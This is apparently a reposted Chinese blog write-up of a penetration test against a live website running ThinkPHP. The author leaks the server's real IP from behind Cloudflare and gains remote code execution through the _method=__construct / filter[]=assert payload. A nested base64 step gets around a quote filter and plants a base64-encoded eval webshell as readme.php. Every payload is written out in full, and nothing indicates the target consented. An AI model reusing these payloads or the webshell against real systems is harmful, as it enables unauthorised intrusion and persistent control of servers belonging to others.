渗透测试纪实-1
source link: https://h3art3ars.github.io/2020/05/21/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E7%BA%AA%E5%AE%9E-1/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
渗透测试纪实-1
找到目标站,大略浏览了一遍
看了一下url app/dist/index.html#/reg?phone=
有点像thinkphp框架,
试了试 domain/captcha
显示404
之后看了看chrome network抓的包
看样子是改了默认的入口文件 index.php
之后又试了下 tl_api.php?s=captcha
熟悉的界面。
直接上exp,然后,所有的报错页面都显示这个。
心里顿时暗道不妙,还记得上次也是tp的站 ,对方加了cloudflare,然后动不动禁ip,一上exp就禁ip,弄得我束手无测,不过这次报错界面却暴露了他的真实ip。SERVER_ADDR对应的值就是真实ip。
之后直接从真实ip入手
试了试日志和session包含,
_method=__construct&method=get&filter[]=think\__include_file&get[]=../runtime/log/202005/19.log
但是都失败了
说不定版本小于7.1.索性直接assert
_method=__construct&method=get&filter[]=assert&get[]=phpinfo();
成功了,是php5.6版本的。
之后就是写入shell了。
_method=__construct&method=get&filter[]=assert&get[]=file_put_contents('./readme.php',base64_decode('PD9waHAgCiAgICAkYiA9IHN1YnN0cigkX1BPU1RbJ2gzYXJ0M2FycyddLCAxKTsKICAgIGV2YWwoYmFzZTY0X2RlY29kZSgkYikpOwo/Pg=='));
然后报了出乎意料的错误,语法错误:
Parse error: syntax error, unexpected ''./readme.php\',base64_decode' (T_ENCAPSED_AND_WHITESPACE), expecting identifier (T_STRING) in assert code on line 1
是过滤了单引号了。
assert调用assert
_method=__construct&method=get&filter[]=assert&get[]=assert(base64_decode($_POST[1]));&1=ZmlsZV9wdXRfY29udGVudHMoJy4vcmVhZG1lLnBocCcsYmFzZTY0X2RlY29kZSgnUEQ5d2FIQWdDaUFnSUNBa1lpQTlJSE4xWW5OMGNpZ2tYMUJQVTFSYkoyZ3pZWEowTTJGeWN5ZGRMQ0F4S1RzS0lDQWdJR1YyWVd3b1ltRnpaVFkwWDJSbFkyOWtaU2drWWlrcE93by9QZz09Jykp
最终写入了shell。
提权未成功,bypass disable未成功
Linux guest 3.10.0-1127.el7.x86_64 #1 SMP Tue Mar 31 23:36:51 UTC 2020 x86_64
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK